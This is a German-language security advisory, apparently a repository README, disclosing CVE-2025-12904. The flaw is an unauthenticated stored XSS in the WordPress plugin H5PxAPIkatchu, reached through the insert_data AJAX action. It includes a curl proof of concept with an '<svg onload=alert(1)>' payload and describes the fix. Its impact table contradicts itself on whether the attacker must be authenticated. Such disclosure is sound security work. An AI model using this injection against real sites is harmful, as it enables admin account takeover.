SNORDIAN's-H5PxAPIkatchu-CVE-Report

Offenlegung für CVE-2025-12904

CVE-2025-12904 - Sicherheitslücke in SNORDIAN's H5PxAPIkatchu

Dieses Repository legt eine Sicherheitslücke offen, die in SNORDIAN's H5PxAPIkatchu <= 0.4.16, einem von otacke entwickelten WordPress-Plugin, entdeckt wurde.

🛠 Betroffene Version

Produkt: SNORDIAN's H5PxAPIkatchu
Version: v0.4.16
URL: https://wordpress.org/plugins/h5pxapikatchu/

🔒 Zugewiesene CVE

CVE ID	Type	Component	Impact
CVE-2025-12904	Unauthenticated Stored Cross-Site Scripting via insert_data	class-table-view.php	Authenticated attacker can execute JS

🧾 Detaillierte Beschreibung

CVE-2025-12904 — Unauthenticated Stored Cross-Site Scripting via insert_data

Betroffene Komponente: h5pxapikatchu Admin-Seite
Angriffsvektor: Unauthenticated via POST request
Auslöser: Ein Angreifer kann bösartige Skripte in die Admin-Oberfläche einschleusen, indem er die insert_data-Aktion ausnutzt, um beliebige Skripte zu speichern.

curl -i -X POST 'http://localhost:8080/wp-admin/admin-ajax.php' \
  --data-urlencode 'action=insert_data' \
  --data-urlencode 'xapi={
    "object":{"id":"http://localhost:8080/?id=2"},
    "result":{"response":"<svg onload=alert(1)>"}
  }'

※Wenn die ID im Objekt nicht existiert, schlägt es fehl.

Auswirkung: Gespeicherte Skripte können ausgeführt werden, was ein Risiko schwerwiegender Schäden wie Kontoübernahme darstellt.

❓Grund für die Sicherheitslücke

Die insert_data()-Funktion führte keine Berechtigungsprüfungen durch, sodass bösartige Eingaben ohne Authentifizierung gespeichert werden konnten. Darüber hinaus wurden diese Einträge unescaped auf der Administrationsoberfläche angezeigt.

Die insert_data()-Funktion verwendet current_user_can, um unbefugte Ausführung zu verhindern.
Durch die Verwendung von esc_html($value) anstelle von echo $value kann die Ausführung von XSS verhindert werden.

ひとこと

PoCを作成するのがとても大変だった。

--data-urlencode 'xapi={
    "object":{"id":"http://localhost:8080/?id=2"},
    "result":{"response":"<svg onload=alert(1)>"}
  }'

この部分の再現にとても時間を使ってしまった。curlコマンドをもっと使いこなせるようになりたい。あとこのプラグイン...色々と大丈夫？とくに、名前とか、さ。

🔍 Entdecker

Name: MooseLove
Rolle: Unabhängiger Sicherheitsforscher / Bug Hunter
Kontakt: Auf Anfrage erhältlich

📚 Referenzen

Produkt: https://wordpress.org/plugins/h5pxapikatchu/

⚠️ Lizenz

Dieses Advisory wird zu Zwecken des öffentlichen Sicherheitsbewusstseins bereitgestellt. Freie Weitergabe mit Namensnennung erlaubt.

SNORDIAN-s-H5PxAPIkatchu-CVE-Report

Beliebteste